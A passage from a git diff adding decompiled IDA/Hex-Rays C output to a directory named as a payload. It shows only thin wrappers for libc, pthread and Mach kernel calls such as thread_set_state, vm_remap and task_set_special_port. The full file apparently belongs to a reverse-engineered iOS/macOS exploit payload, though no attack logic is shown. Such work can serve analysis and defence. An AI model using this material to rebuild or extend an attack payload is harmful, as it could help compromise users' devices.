(00000000000415FC) ---------------------------------------------------- +void *__cdecl dlopen(const char *__path, int __mode) +{ + return _dlopen(__path, __mode); +} + +//----- (000000000004160C) ---------------------------------------------------- +void *__cdecl dlsym(void *__handle, const char *__symbol) +{ + return _dlsym(__handle, __symbol); +} + +//----- (000000000004161C) ---------------------------------------------------- +int fcntl(int a1, int a2, ...) +{ + return _fcntl(a1, a2); +} + +//----- (000000000004162C) ---------------------------------------------------- +int __cdecl ffsctl(int a1, unsigned __int64 a2, void *a3, unsigned int a4) +{ + return _ffsctl(a1, a2, a3, a4); +} + +//----- (000000000004163C) ---------------------------------------------------- +__int64 fileport_makefd() +{ + return _fileport_makefd(); +} +// 48428: using guessed type __int64 _fileport_makefd(void); + +//----- (000000000004164C) ---------------------------------------------------- +// local variable allocation has failed, the output may be wrong! +__int64 __fastcall fileport_makeport(int a1, mach_port_t *a2) +{ + return _fileport_makeport(*(_QWORD *)&a1, a2); +} +// 4164C: variables would overlap: w0.4 and x0.8 +// 48430: using guessed type __int64 __fastcall _fileport_makeport(_QWORD, _QWORD); + +//----- (000000000004165C) ---------------------------------------------------- +void __cdecl free(void *a1) +{ + _free(a1); +} + +//----- (000000000004166C) ---------------------------------------------------- +int __cdecl fstat(int a1, stat *a2) +{ + return _fstat(a1, a2); +} + +//----- (000000000004167C) ---------------------------------------------------- +int __cdecl getattrlist(const char *a1, void *a2, void *a3, size_t a4, unsigned int a5) +{ + return _getattrlist(a1, a2, a3, a4, a5); +} + +//----- (000000000004168C) ---------------------------------------------------- +int __cdecl getmntinfo(statfs **a1, int a2) +{ + return _getmntinfo(a1, a2); +} + +//----- (000000000004169C) ---------------------------------------------------- +pid_t getpid(void) +{ + return _getpid(); +} + +//----- (00000000000416AC) ---------------------------------------------------- +pid_t getppid(void) +{ + return _getppid(); +} + +//----- (00000000000416BC) ---------------------------------------------------- +uid_t getuid(void) +{ + return _getuid(); +} + +//----- (00000000000416CC) ---------------------------------------------------- +kern_return_t __cdecl host_create_mach_voucher( + host_t host, + mach_voucher_attr_raw_recipe_array_t recipes, + mach_msg_type_number_t recipesCnt, + ipc_voucher_t *voucher) +{ + return _host_create_mach_voucher(host, recipes, recipesCnt, voucher); +} + +//----- (00000000000416DC) ---------------------------------------------------- +kern_return_t __cdecl host_get_io_master(host_t host, io_master_t *io_master) +{ + return _host_get_io_master(host, io_master); +} + +//----- (00000000000416EC) ---------------------------------------------------- +kern_return_t __cdecl host_get_special_port(host_priv_t host_priv, int node, int which, mach_port_t *port) +{ + return _host_get_special_port(host_priv, node, which, port); +} + +//----- (00000000000416FC) ---------------------------------------------------- +kern_return_t __cdecl host_kernel_version(host_t host, kernel_version_t kernel_version) +{ + return _host_kernel_version(host, kernel_version); +} + +//----- (000000000004170C) ---------------------------------------------------- +kern_return_t __cdecl host_page_size(host_t a1, vm_size_t *a2) +{ + return _host_page_size(a1, a2); +} + +//----- (000000000004171C) ---------------------------------------------------- +kern_return_t __cdecl host_processors( + host_priv_t host_priv, + processor_array_t *out_processor_list, + mach_msg_type_number_t *out_processor_listCnt) +{ + return _host_processors(host_priv, out_processor_list, out_processor_listCnt); +} + +//----- (000000000004172C) ---------------------------------------------------- +kern_return_t __cdecl host_security_set_task_token( + host_security_t host_security, + task_t target_task, + security_token_t sec_token, + audit_token_t *audit_token, + host_t host) +{ + return _host_security_set_task_token(host_security, target_task, sec_token, audit_token, host); +} + +//----- (000000000004173C) ---------------------------------------------------- +int ioctl(int a1, unsigned __int64 a2, ...) +{ + return _ioctl(a1, a2); +} + +//----- (000000000004174C) ---------------------------------------------------- +int __cdecl lstat(const char *a1, stat *a2) +{ + return _lstat(a1, a2); +} + +//----- (000000000004175C) ---------------------------------------------------- +uint64_t mach_absolute_time(void) +{ + return _mach_absolute_time(); +} + +//----- (000000000004176C) ---------------------------------------------------- +mach_port_t mach_host_self(void) +{ + return _mach_host_self(); +} + +//----- (000000000004177C) ---------------------------------------------------- +kern_return_t __cdecl mach_make_memory_entry( + vm_map_t target_task, + vm_size_t *size, + vm_offset_t offset, + vm_prot_t permission, + mem_entry_name_port_t *object_handle, + mem_entry_name_port_t parent_entry) +{ + return _mach_make_memory_entry(target_task, size, offset, permission, object_handle, parent_entry); +} + +//----- (000000000004178C) ---------------------------------------------------- +kern_return_t __cdecl mach_make_memory_entry_64( + vm_map_t target_task, + memory_object_size_t *size, + memory_object_offset_t offset, + vm_prot_t permission, + mach_port_t *object_handle, + mem_entry_name_port_t parent_entry) +{ + return _mach_make_memory_entry_64(target_task, size, offset, permission, object_handle, parent_entry); +} + +//----- (000000000004179C) ---------------------------------------------------- +mach_msg_return_t __cdecl mach_msg( + mach_msg_header_t *msg, + mach_msg_option_t option, + mach_msg_size_t send_size, + mach_msg_size_t rcv_size, + mach_port_name_t rcv_name, + mach_msg_timeout_t timeout, + mach_port_name_t notify) +{ + return _mach_msg(msg, option, send_size, rcv_size, rcv_name, timeout, notify); +} + +//----- (00000000000417AC) ---------------------------------------------------- +void __cdecl mach_msg_destroy(mach_msg_header_t *a1) +{ + _mach_msg_destroy(a1); +} + +//----- (00000000000417BC) ---------------------------------------------------- +mach_msg_return_t __cdecl mach_msg_send(mach_msg_header_t *a1) +{ + return _mach_msg_send(a1); +} + +//----- (00000000000417CC) ---------------------------------------------------- +kern_return_t __cdecl mach_port_allocate(ipc_space_t task, mach_port_right_t right, mach_port_name_t *name) +{ + return _mach_port_allocate(task, right, name); +} + +//----- (00000000000417DC) ---------------------------------------------------- +kern_return_t __cdecl mach_port_deallocate(ipc_space_t task, mach_port_name_t name) +{ + return _mach_port_deallocate(task, name); +} + +//----- (00000000000417EC) ---------------------------------------------------- +kern_return_t __cdecl mach_port_destroy(ipc_space_t task, mach_port_name_t name) +{ + return _mach_port_destroy(task, name); +} + +//----- (00000000000417FC) ---------------------------------------------------- +kern_return_t __cdecl mach_port_get_attributes( + ipc_space_read_t task, + mach_port_name_t name, + mach_port_flavor_t flavor, + mach_port_info_t port_info_out, + mach_msg_type_number_t *port_info_outCnt) +{ + return _mach_port_get_attributes(task, name, flavor, port_info_out, port_info_outCnt); +} + +//----- (000000000004180C) ---------------------------------------------------- +kern_return_t __cdecl mach_port_insert_right( + ipc_space_t task, + mach_port_name_t name, + mach_port_t poly, + mach_msg_type_name_t polyPoly) +{ + return _mach_port_insert_right(task, name, poly, polyPoly); +} + +//----- (000000000004181C) ---------------------------------------------------- +kern_return_t __cdecl mach_port_mod_refs( + ipc_space_t task, + mach_port_name_t name, + mach_port_right_t right, + mach_port_delta_t delta) +{ + return _mach_port_mod_refs(task, name, right, delta); +} + +//----- (000000000004182C) ---------------------------------------------------- +kern_return_t __cdecl mach_port_request_notification( + ipc_space_t task, + mach_port_name_t name, + mach_msg_id_t msgid, + mach_port_mscount_t sync, + mach_port_t notify, + mach_msg_type_name_t notifyPoly, + mach_port_t *previous) +{ + return _mach_port_request_notification(task, name, msgid, sync, notify, notifyPoly, previous); +} + +//----- (000000000004183C) ---------------------------------------------------- +kern_return_t __cdecl mach_port_set_attributes( + ipc_space_t task, + mach_port_name_t name, + mach_port_flavor_t flavor, + mach_port_info_t port_info, + mach_msg_type_number_t port_infoCnt) +{ + return _mach_port_set_attributes(task, name, flavor, port_info, port_infoCnt); +} + +//----- (000000000004184C) ---------------------------------------------------- +kern_return_t __cdecl mach_port_space_info( + ipc_space_read_t space, + ipc_info_space_t *space_info, + ipc_info_name_array_t *table_info, + mach_msg_type_number_t *table_infoCnt, + ipc_info_tree_name_array_t *tree_info, + mach_msg_type_number_t *tree_infoCnt) +{ + return _mach_port_space_info(space, space_info, table_info, table_infoCnt, tree_info, tree_infoCnt); +} + +//----- (000000000004185C) ---------------------------------------------------- +kern_return_t __cdecl mach_ports_register( + task_t target_task, + mach_port_array_t init_port_set, + mach_msg_type_number_t init_port_setCnt) +{ + return _mach_ports_register(target_task, init_port_set, init_port_setCnt); +} + +//----- (000000000004186C) ---------------------------------------------------- +__int64 mach_reply_port() +{ + return _mach_reply_port(); +} +// 48540: using guessed type __int64 _mach_reply_port(void); + +//----- (000000000004187C) ---------------------------------------------------- +mach_port_t mach_thread_self(void) +{ + return _mach_thread_self(); +} + +//----- (000000000004188C) ---------------------------------------------------- +kern_return_t __cdecl mach_timebase_info(mach_timebase_info_t info) +{ + return _mach_timebase_info(info); +} + +//----- (000000000004189C) ---------------------------------------------------- +kern_return_t __cdecl mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags) +{ + return _mach_vm_allocate(target, address, size, flags); +} + +//----- (00000000000418AC) ---------------------------------------------------- +kern_return_t __cdecl mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size) +{ + return _mach_vm_deallocate(target, address, size); +} + +//----- (00000000000418BC) ---------------------------------------------------- +kern_return_t __cdecl mach_vm_machine_attribute( + vm_map_t target_task, + mach_vm_address_t address, + mach_vm_size_t size, + vm_machine_attribute_t attribute, + vm_machine_attribute_val_t *value) +{ + return _mach_vm_machine_attribute(target_task, address, size, attribute, value); +} + +//----- (00000000000418CC) ---------------------------------------------------- +kern_return_t __cdecl mach_vm_page_info( + vm_map_read_t target_task, + mach_vm_address_t address, + vm_page_info_flavor_t flavor, + vm_page_info_t info, + mach_msg_type_number_t *infoCnt) +{ + return _mach_vm_page_info(target_task, address, flavor, info, infoCnt); +} + +//----- (00000000000418DC) ---------------------------------------------------- +kern_return_t __cdecl mach_vm_read_overwrite( + vm_map_read_t target_task, + mach_vm_address_t address, + mach_vm_size_t size, + mach_vm_address_t data, + mach_vm_size_t *outsize) +{ + return _mach_vm_read_overwrite(target_task, address, size, data, outsize); +} + +//----- (00000000000418EC) ---------------------------------------------------- +kern_return_t __cdecl mach_vm_wire( + host_priv_t host_priv, + vm_map_t task, + mach_vm_address_t address, + mach_vm_size_t size, + vm_prot_t desired_access) +{ + return _mach_vm_wire(host_priv, task, address, size, desired_access); +} + +//----- (00000000000418FC) ---------------------------------------------------- +kern_return_t __cdecl mach_vm_write( + vm_map_t target_task, + mach_vm_address_t address, + vm_offset_t data, + mach_msg_type_number_t dataCnt) +{ + return _mach_vm_write(target_task, address, data, dataCnt); +} + +//----- (000000000004190C) ---------------------------------------------------- +int __cdecl madvise(void *a1, size_t a2, int a3) +{ + return _madvise(a1, a2, a3); +} + +//----- (000000000004191C) ---------------------------------------------------- +void *__cdecl malloc(size_t __size) +{ + return _malloc(__size); +} + +//----- (000000000004192C) ---------------------------------------------------- +int __cdecl memcmp(const void *__s1, const void *__s2, size_t __n) +{ + return _memcmp(__s1, __s2, __n); +} + +//----- (000000000004193C) ---------------------------------------------------- +void *__cdecl memcpy(void *__dst, const void *__src, size_t __n) +{ + return _memcpy(__dst, __src, __n); +} + +//----- (000000000004194C) ---------------------------------------------------- +void __cdecl mig_dealloc_reply_port(mach_port_t reply_port) +{ + _mig_dealloc_reply_port(reply_port); +} + +//----- (000000000004195C) ---------------------------------------------------- +mach_port_t mig_get_reply_port(void) +{ + return _mig_get_reply_port(); +} + +//----- (000000000004196C) ---------------------------------------------------- +int __cdecl mkdir(const char *a1, mode_t a2) +{ + return _mkdir(a1, a2); +} + +//----- (000000000004197C) ---------------------------------------------------- +char *__cdecl mktemp(char *a1) +{ + return _mktemp(a1); +} + +//----- (000000000004198C) ---------------------------------------------------- +void *__cdecl mmap(void *a1, size_t a2, int a3, int a4, int a5, off_t a6) +{ + return _mmap(a1, a2, a3, a4, a5, a6); +} + +//----- (000000000004199C) ---------------------------------------------------- +int __cdecl mount(const char *a1, const char *a2, int a3, void *a4) +{ + return _mount(a1, a2, a3, a4); +} + +//----- (00000000000419AC) ---------------------------------------------------- +__int64 necp_client_action() +{ + return _necp_client_action(); +} +// 485E0: using guessed type __int64 _necp_client_action(void); + +//----- (00000000000419BC) ---------------------------------------------------- +__int64 necp_open() +{ + return _necp_open(); +} +// 485E8: using guessed type __int64 _necp_open(void); + +//----- (00000000000419CC) ---------------------------------------------------- +int open(const char *a1, int a2, ...) +{ + return _open(a1, a2); +} + +//----- (00000000000419DC) ---------------------------------------------------- +int open_dprotected_np(const char *a1, int a2, int a3, int a4, ...) +{ + return _open_dprotected_np(a1, a2, a3, a4); +} + +//----- (00000000000419EC) ---------------------------------------------------- +kern_return_t __cdecl pid_for_task(mach_port_name_t t, int *x) +{ + return _pid_for_task(t, x); +} + +//----- (00000000000419FC) ---------------------------------------------------- +int __cdecl pipe(int a1[2]) +{ + return _pipe(a1); +} + +//----- (0000000000041A0C) ---------------------------------------------------- +int __cdecl posix_spawn( + pid_t *a1, + const char *a2, + const posix_spawn_file_actions_t *a3, + const posix_spawnattr_t *a4, + char *const __argv[], + char *const __envp[]) +{ + return _posix_spawn(a1, a2, a3, a4, __argv, __envp); +} + +//----- (0000000000041A1C) ---------------------------------------------------- +int __cdecl posix_spawn_file_actions_addopen(posix_spawn_file_actions_t *a1, int a2, const char *a3, int a4, mode_t a5) +{ + return _posix_spawn_file_actions_addopen(a1, a2, a3, a4, a5); +} + +//----- (0000000000041A2C) ---------------------------------------------------- +int __cdecl posix_spawn_file_actions_destroy(posix_spawn_file_actions_t *a1) +{ + return _posix_spawn_file_actions_destroy(a1); +} + +//----- (0000000000041A3C) ---------------------------------------------------- +int __cdecl posix_spawn_file_actions_init(posix_spawn_file_actions_t *a1) +{ + return _posix_spawn_file_actions_init(a1); +} + +//----- (0000000000041A4C) ---------------------------------------------------- +int __cdecl posix_spawnattr_destroy(posix_spawnattr_t *a1) +{ + return _posix_spawnattr_destroy(a1); +} + +//----- (0000000000041A5C) ---------------------------------------------------- +int __cdecl posix_spawnattr_init(posix_spawnattr_t *a1) +{ + return _posix_spawnattr_init(a1); +} + +//----- (0000000000041A6C) ---------------------------------------------------- +int __cdecl posix_spawnattr_setflags(posix_spawnattr_t *a1, __int16 a2) +{ + return _posix_spawnattr_setflags(a1, a2); +} + +//----- (0000000000041A7C) ---------------------------------------------------- +int __cdecl posix_spawnattr_setpgroup(posix_spawnattr_t *a1, pid_t a2) +{ + return _posix_spawnattr_setpgroup(a1, a2); +} + +//----- (0000000000041A8C) ---------------------------------------------------- +int __cdecl posix_spawnattr_setsigdefault(posix_spawnattr_t *a1, const sigset_t *a2) +{ + return _posix_spawnattr_setsigdefault(a1, a2); +} + +//----- (0000000000041A9C) ---------------------------------------------------- +ssize_t __cdecl pread(int __fd, void *__buf, size_t __nbyte, off_t a4) +{ + return _pread(__fd, __buf, __nbyte, a4); +} + +//----- (0000000000041AAC) ---------------------------------------------------- +int __cdecl proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize) +{ + return _proc_pidinfo(pid, flavor, arg, buffer, buffersize); +} + +//----- (0000000000041ABC) ---------------------------------------------------- +kern_return_t __cdecl processor_set_default(host_t host, processor_set_name_t *default_set) +{ + return _processor_set_default(host, default_set); +} + +//----- (0000000000041ACC) ---------------------------------------------------- +kern_return_t __cdecl processor_set_info( + processor_set_name_t set_name, + int flavor, + host_t *host, + processor_set_info_t info_out, + mach_msg_type_number_t *info_outCnt) +{ + return _processor_set_info(set_name, flavor, host, info_out, info_outCnt); +} + +//----- (0000000000041ADC) ---------------------------------------------------- +int __cdecl pthread_attr_destroy(pthread_attr_t *a1) +{ + return _pthread_attr_destroy(a1); +} + +//----- (0000000000041AEC) ---------------------------------------------------- +int __cdecl pthread_attr_init(pthread_attr_t *a1) +{ + return _pthread_attr_init(a1); +} + +//----- (0000000000041AFC) ---------------------------------------------------- +int __cdecl pthread_attr_setdetachstate(pthread_attr_t *a1, int a2) +{ + return _pthread_attr_setdetachstate(a1, a2); +} + +//----- (0000000000041B0C) ---------------------------------------------------- +int __cdecl pthread_create(pthread_t *a1, const pthread_attr_t *a2, void *(__cdecl *a3)(void *), void *a4) +{ + return _pthread_create(a1, a2, a3, a4); +} + +//----- (0000000000041B1C) ---------------------------------------------------- +int __cdecl pthread_create_suspended_np(pthread_t *a1, const pthread_attr_t *a2, void *(__cdecl *a3)(void *), void *a4) +{ + return _pthread_create_suspended_np(a1, a2, a3, a4); +} + +//----- (0000000000041B2C) ---------------------------------------------------- +pthread_t __cdecl pthread_from_mach_thread_np(mach_port_t a1) +{ + return _pthread_from_mach_thread_np(a1); +} + +//----- (0000000000041B3C) ---------------------------------------------------- +int __cdecl pthread_join(pthread_t a1, void **a2) +{ + return _pthread_join(a1, a2); +} + +//----- (0000000000041B4C) ---------------------------------------------------- +mach_port_t __cdecl pthread_mach_thread_np(pthread_t a1) +{ + return _pthread_mach_thread_np(a1); +} + +//----- (0000000000041B5C) ---------------------------------------------------- +int __cdecl pthread_mutex_destroy(pthread_mutex_t *a1) +{ + return _pthread_mutex_destroy(a1); +} + +//----- (0000000000041B6C) ---------------------------------------------------- +int __cdecl pthread_mutex_init(pthread_mutex_t *a1, const pthread_mutexattr_t *a2) +{ + return _pthread_mutex_init(a1, a2); +} + +//----- (0000000000041B7C) ---------------------------------------------------- +int __cdecl pthread_mutex_lock(pthread_mutex_t *a1) +{ + return _pthread_mutex_lock(a1); +} + +//----- (0000000000041B8C) ---------------------------------------------------- +int __cdecl pthread_mutex_unlock(pthread_mutex_t *a1) +{ + return _pthread_mutex_unlock(a1); +} + +//----- (0000000000041B9C) ---------------------------------------------------- +pthread_t pthread_self(void) +{ + return _pthread_self(); +} + +//----- (0000000000041BAC) ---------------------------------------------------- +void __cdecl qsort(void *__base, size_t __nel, size_t __width, int (__cdecl *__compar)(const void *, const void *)) +{ + _qsort(__base, __nel, __width, __compar); +} + +//----- (0000000000041BBC) ---------------------------------------------------- +ssize_t __cdecl read(int a1, void *a2, size_t a3) +{ + return _read(a1, a2, a3); +} + +//----- (0000000000041BCC) ---------------------------------------------------- +void *__cdecl realloc(void *__ptr, size_t __size) +{ + return _realloc(__ptr, __size); +} + +//----- (0000000000041BDC) ---------------------------------------------------- +int __cdecl rmdir(const char *a1) +{ + return _rmdir(a1); +} + +//----- (0000000000041BEC) ---------------------------------------------------- +__int64 __fastcall sandbox_check(int pid) +{ + return _sandbox_check(pid); +} + +//----- (0000000000041BFC) ---------------------------------------------------- +int sched_yield(void) +{ + return _sched_yield(); +} + +//----- (0000000000041C0C) ---------------------------------------------------- +kern_return_t __cdecl semaphore_create(task_t task, semaphore_t *semaphore, int policy, int value) +{ + return _semaphore_create(task, semaphore, policy, value); +} + +//----- (0000000000041C1C) ---------------------------------------------------- +kern_return_t __cdecl semaphore_destroy(task_t task, semaphore_t semaphore) +{ + return _semaphore_destroy(task, semaphore); +} + +//----- (0000000000041C2C) ---------------------------------------------------- +kern_return_t __cdecl semaphore_signal(semaphore_t semaphore) +{ + return _semaphore_signal(semaphore); +} + +//----- (0000000000041C3C) ---------------------------------------------------- +kern_return_t __cdecl semaphore_timedwait(semaphore_t semaphore, mach_timespec_t wait_time) +{ + return _semaphore_timedwait(semaphore, wait_time); +} + +//----- (0000000000041C4C) ---------------------------------------------------- +kern_return_t __cdecl semaphore_wait(semaphore_t semaphore) +{ + return _semaphore_wait(semaphore); +} + +//----- (0000000000041C5C) ---------------------------------------------------- +int __cdecl seteuid(uid_t a1) +{ + return _seteuid(a1); +} + +//----- (0000000000041C6C) ---------------------------------------------------- +int __cdecl setsockopt(int a1, int a2, int a3, const void *a4, socklen_t a5) +{ + return _setsockopt(a1, a2, a3, a4, a5); +} + +//----- (0000000000041C7C) ---------------------------------------------------- +int snprintf(char *__str, size_t __size, const char *__format, ...) +{ + return _snprintf(__str, __size, __format); +} + +//----- (0000000000041C8C) ---------------------------------------------------- +int __cdecl socket(int a1, int a2, int a3) +{ + return _socket(a1, a2, a3); +} + +//----- (0000000000041C9C) ---------------------------------------------------- +int sscanf(const char *a1, const char *a2, ...) +{ + return _sscanf(a1, a2); +} + +//----- (0000000000041CAC) ---------------------------------------------------- +int __cdecl stat(const char *a1, stat *a2) +{ + return _stat(a1, a2); +} + +//----- (0000000000041CBC) ---------------------------------------------------- +int __cdecl statfs(const char *a1, statfs *a2) +{ + return _statfs(a1, a2); +} + +//----- (0000000000041CCC) ---------------------------------------------------- +char *__cdecl strchr(const char *__s, int __c) +{ + return _strchr(__s, __c); +} + +//----- (0000000000041CDC) ---------------------------------------------------- +int __cdecl strcmp(const char *__s1, const char *__s2) +{ + return _strcmp(__s1, __s2); +} + +//----- (0000000000041CEC) ---------------------------------------------------- +char *__cdecl strcpy(char *__dst, const char *__src) +{ + return _strcpy(__dst, __src); +} + +//----- (0000000000041CFC) ---------------------------------------------------- +char *__cdecl strdup(const char *__s1) +{ + return _strdup(__s1); +} + +//----- (0000000000041D0C) ---------------------------------------------------- +size_t __cdecl strlcpy(char *__dst, const char *__source, size_t __size) +{ + return _strlcpy(__dst, __source, __size); +} + +//----- (0000000000041D1C) ---------------------------------------------------- +size_t __cdecl strlen(const char *__s) +{ + return _strlen(__s); +} + +//----- (0000000000041D2C) ---------------------------------------------------- +int __cdecl strncmp(const char *__s1, const char *__s2, size_t __n) +{ + return _strncmp(__s1, __s2, __n); +} + +//----- (0000000000041D3C) ---------------------------------------------------- +char *__cdecl strsep(char **__stringp, const char *__delim) +{ + return _strsep(__stringp, __delim); +} + +//----- (0000000000041D4C) ---------------------------------------------------- +char *__cdecl strstr(const char *__big, const char *__little) +{ + return _strstr(__big, __little); +} + +//----- (0000000000041D5C) ---------------------------------------------------- +__int64 __cdecl strtol(const char *__str, char **__endptr, int __base) +{ + return _strtol(__str, __endptr, __base); +} + +//----- (0000000000041D6C) ---------------------------------------------------- +int syscall(int a1, ...) +{ + return _syscall(a1); +} + +//----- (0000000000041D7C) ---------------------------------------------------- +int __cdecl sysctl(int *a1, u_int a2, void *a3, size_t *a4, void *a5, size_t a6) +{ + return _sysctl(a1, a2, a3, a4, a5, a6); +} + +//----- (0000000000041D8C) ---------------------------------------------------- +int __cdecl sysctlbyname(const char *a1, void *a2, size_t *a3, void *a4, size_t a5) +{ + return _sysctlbyname(a1, a2, a3, a4, a5); +} + +//----- (0000000000041D9C) ---------------------------------------------------- +kern_return_t __cdecl task_get_special_port(task_inspect_t task, int which_port, mach_port_t *special_port) +{ + return _task_get_special_port(task, which_port, special_port); +} + +//----- (0000000000041DAC) ---------------------------------------------------- +kern_return_t __cdecl task_info( + task_name_t target_task, + task_flavor_t flavor, + task_info_t task_info_out, + mach_msg_type_number_t *task_info_outCnt) +{ + return _task_info(target_task, flavor, task_info_out, task_info_outCnt); +} + +//----- (0000000000041DBC) ---------------------------------------------------- +kern_return_t __cdecl task_map_corpse_info_64( + task_t task, + task_read_t corspe_task, + mach_vm_address_t *kcd_addr_begin, + mach_vm_size_t *kcd_size) +{ + return _task_map_corpse_info_64(task, corspe_task, kcd_addr_begin, kcd_size); +} + +//----- (0000000000041DCC) ---------------------------------------------------- +kern_return_t __cdecl task_resume2(task_suspension_token_t suspend_token) +{ + return _task_resume2(suspend_token); +} + +//----- (0000000000041DDC) ---------------------------------------------------- +kern_return_t __cdecl task_set_special_port(task_t task, int which_port, mach_port_t special_port) +{ + return _task_set_special_port(task, which_port, special_port); +} + +//----- (0000000000041DEC) ---------------------------------------------------- +kern_return_t __cdecl task_suspend2(task_t target_task, task_suspension_token_t *suspend_token) +{ + return _task_suspend2(target_task, suspend_token); +} + +//----- (0000000000041DFC) ---------------------------------------------------- +kern_return_t __cdecl task_threads( + task_inspect_t target_task, + thread_act_array_t *act_list, + mach_msg_type_number_t *act_listCnt) +{ + return _task_threads(target_task, act_list, act_listCnt); +} + +//----- (0000000000041E0C) ---------------------------------------------------- +kern_return_t __cdecl thread_create(task_t parent_task, thread_act_t *child_act) +{ + return _thread_create(parent_task, child_act); +} + +//----- (0000000000041E1C) ---------------------------------------------------- +kern_return_t __cdecl thread_get_state( + thread_read_t target_act, + thread_state_flavor_t flavor, + thread_state_t old_state, + mach_msg_type_number_t *old_stateCnt) +{ + return _thread_get_state(target_act, flavor, old_state, old_stateCnt); +} + +//----- (0000000000041E2C) ---------------------------------------------------- +kern_return_t __cdecl thread_policy_set( + thread_act_t thread, + thread_policy_flavor_t flavor, + thread_policy_t policy_info, + mach_msg_type_number_t policy_infoCnt) +{ + return _thread_policy_set(thread, flavor, policy_info, policy_infoCnt); +} + +//----- (0000000000041E3C) ---------------------------------------------------- +kern_return_t __cdecl thread_resume(thread_act_t target_act) +{ + return _thread_resume(target_act); +} + +//----- (0000000000041E4C) ---------------------------------------------------- +kern_return_t __cdecl thread_set_exception_ports( + thread_act_t thread, + exception_mask_t exception_mask, + mach_port_t new_port, + exception_behavior_t behavior, + thread_state_flavor_t new_flavor) +{ + return _thread_set_exception_ports(thread, exception_mask, new_port, behavior, new_flavor); +} + +//----- (0000000000041E5C) ---------------------------------------------------- +kern_return_t __cdecl thread_set_state( + thread_act_t target_act, + thread_state_flavor_t flavor, + thread_state_t new_state, + mach_msg_type_number_t new_stateCnt) +{ + return _thread_set_state(target_act, flavor, new_state, new_stateCnt); +} + +//----- (0000000000041E6C) ---------------------------------------------------- +kern_return_t __cdecl thread_suspend(thread_act_t target_act) +{ + return _thread_suspend(target_act); +} + +//----- (0000000000041E7C) ---------------------------------------------------- +kern_return_t __cdecl thread_switch(mach_port_name_t thread_name, int option, mach_msg_timeout_t option_time) +{ + return _thread_switch(thread_name, option, option_time); +} + +//----- (0000000000041E8C) ---------------------------------------------------- +kern_return_t __cdecl thread_terminate(thread_act_t target_act) +{ + return _thread_terminate(target_act); +} + +//----- (0000000000041E9C) ---------------------------------------------------- +int __cdecl uname(utsname *a1) +{ + return _uname(a1); +} + +//----- (0000000000041EAC) ---------------------------------------------------- +int __cdecl unlink(const char *a1) +{ + return _unlink(a1); +} + +//----- (0000000000041EBC) ---------------------------------------------------- +int __cdecl unmount(const char *a1, int a2) +{ + return _unmount(a1, a2); +} + +//----- (0000000000041ECC) ---------------------------------------------------- +int __cdecl usleep(useconds_t a1) +{ + return _usleep(a1); +} + +//----- (0000000000041EDC) ---------------------------------------------------- +int __cdecl uuid_is_null(const uuid_t uu) +{ + return _uuid_is_null(uu); +} + +//----- (0000000000041EEC) ---------------------------------------------------- +kern_return_t __cdecl vm_allocate(vm_map_t target_task, vm_address_t *address, vm_size_t size, int flags) +{ + return _vm_allocate(target_task, address, size, flags); +} + +//----- (0000000000041EFC) ---------------------------------------------------- +kern_return_t __cdecl vm_copy( + vm_map_t target_task, + vm_address_t source_address, + vm_size_t size, + vm_address_t dest_address) +{ + return _vm_copy(target_task, source_address, size, dest_address); +} + +//----- (0000000000041F0C) ---------------------------------------------------- +kern_return_t __cdecl vm_deallocate(vm_map_t target_task, vm_address_t address, vm_size_t size) +{ + return _vm_deallocate(target_task, address, size); +} + +//----- (0000000000041F1C) ---------------------------------------------------- +kern_return_t __cdecl vm_map( + vm_map_t target_task, + vm_address_t *address, + vm_size_t size, + vm_address_t mask, + int flags, + mem_entry_name_port_t object, + vm_offset_t offset, + boolean_t copy, + vm_prot_t cur_protection, + vm_prot_t max_protection, + vm_inherit_t inheritance) +{ + return _vm_map( + target_task, + address, + size, + mask, + flags, + object, + offset, + copy, + cur_protection, + max_protection, + inheritance); +} + +//----- (0000000000041F2C) ---------------------------------------------------- +kern_return_t __cdecl vm_protect( + vm_map_t target_task, + vm_address_t address, + vm_size_t size, + boolean_t set_maximum, + vm_prot_t new_protection) +{ + return _vm_protect(target_task, address, size, set_maximum, new_protection); +} + +//----- (0000000000041F3C) ---------------------------------------------------- +kern_return_t __cdecl vm_read_overwrite( + vm_map_t target_task, + vm_address_t address, + vm_size_t size, + vm_address_t data, + vm_size_t *outsize) +{ + return _vm_read_overwrite(target_task, address, size, data, outsize); +} + +//----- (0000000000041F4C) ---------------------------------------------------- +kern_return_t __cdecl vm_region_64( + vm_map_t target_task, + vm_address_t *address, + vm_size_t *size, + vm_region_flavor_t flavor, + vm_region_info_t info, + mach_msg_type_number_t *infoCnt, + mach_port_t *object_name) +{ + return _vm_region_64(target_task, address, size, flavor, info, infoCnt, object_name); +} + +//----- (0000000000041F5C) ---------------------------------------------------- +kern_return_t __cdecl vm_region_recurse_64( + vm_map_t target_task, + vm_address_t *address, + vm_size_t *size, + natural_t *nesting_depth, + vm_region_recurse_info_t info, + mach_msg_type_number_t *infoCnt) +{ + return _vm_region_recurse_64(target_task, address, size, nesting_depth, info, infoCnt); +} + +//----- (0000000000041F6C) ---------------------------------------------------- +kern_return_t __cdecl vm_remap( + vm_map_t target_task, + vm_address_t *target_address, + vm_size_t size, + vm_address_t mask, + int flags, + vm_map_t src_task, + vm_address_t src_address, + boolean_t copy, + vm_prot_t *cur_protection, + vm_prot_t *max_protection, + vm_inherit_t inheritance) +{ + return _vm_remap( + target_task, + target_address, + size, + mask, + flags, + src_task, + src_address, + copy, + cur_protection, + max_protection, + inheritance); +} + +//----- (0000000000041F7C) ---------------------------------------------------- +kern_return_t __cdecl vm_write( + vm_map_t target_task, + vm_address_t address, + vm_offset_t data, + mach_msg_type_number_t dataCnt) +{ + return _vm_write(target_task, address, data, dataCnt); +} + +//----- (0000000000041F8C) ---------------------------------------------------- +pid_t __cdecl waitpid(pid_t a1, int *a2, int a3) +{ + return _waitpid(a1, a2, a3); +} + +//----- (0000000000041F9C) ---------------------------------------------------- +ssize_t __cdecl write(int __fd, const void *__buf, size_t __nbyte) +{ + return _write(__fd, __buf, __nbyte); +} +#endif +// nfuncs=894 queued=886 decompiled=886 lumina nreq=0 worse=0 better=0 +// ALL OK, 886 function(s) have been successfully decompiled diff --git a/src/payload_377bed/ida_types.h b/src/payload_377bed/ida_types.h new file mode 100644 index 0000000..87c5f56 --- /dev/null +++ b/src/payload_377bed/ida_types.h @@ -0,0 +1,190 @@ +/* + * ida_types.h — IDA/Hex-Rays type compatibility for clang ARM64 + */ +#ifndef IDA_TYPES_H +#define 